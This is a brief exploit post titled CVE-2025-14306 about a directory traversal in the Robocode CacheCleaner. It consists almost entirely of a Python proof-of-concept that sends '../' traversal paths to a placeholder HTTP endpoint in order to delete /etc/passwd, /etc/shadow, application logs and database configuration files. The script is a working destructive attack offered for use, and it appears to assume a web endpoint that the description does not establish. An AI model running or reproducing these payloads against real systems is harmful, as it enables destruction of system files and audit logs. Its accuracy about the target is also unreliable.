CVE-2025-14306: Robocode CacheCleaner目录遍历导致任意文件删除

import requests import urllib.parse # CVE-2025-14306 PoC - Directory Traversal in Robocode CacheCleaner # Target: Robocode 1.9.3.6 CacheCleaner Component TARGET_URL = "http://target:8080/cacheclean" def exploit_directory_traversal(): """ Exploit the directory traversal vulnerability in CacheCleaner recursivelyDelete method. This PoC demonstrates how to delete arbitrary files outside the cache directory. """ # Payload to delete /etc/passwd using path traversal # The ../ sequences will traverse up from the cache directory to system root malicious_path = "../../../../../../etc/passwd" # Alternative payloads for different targets payloads = [ "../../../../../../etc/passwd", # Delete system passwd file "../../../../../../var/log/app.log", # Delete application logs "../../../config/database.yml", # Delete configuration files "../../../../../../etc/shadow", # Attempt to delete shadow file ] for payload in payloads: try: # Send malicious request to CacheCleaner endpoint response = requests.post( TARGET_URL, data={'path': payload}, timeout=10 ) print(f"[*] Sent payload: {payload}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print(f"[!] File deletion request sent successfully") print(f"[!] Target file may have been deleted") else: print(f"[*] Request failed or blocked") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": print("CVE-2025-14306 - Robocode CacheCleaner Directory Traversal PoC") print("=" * 60) exploit_directory_traversal()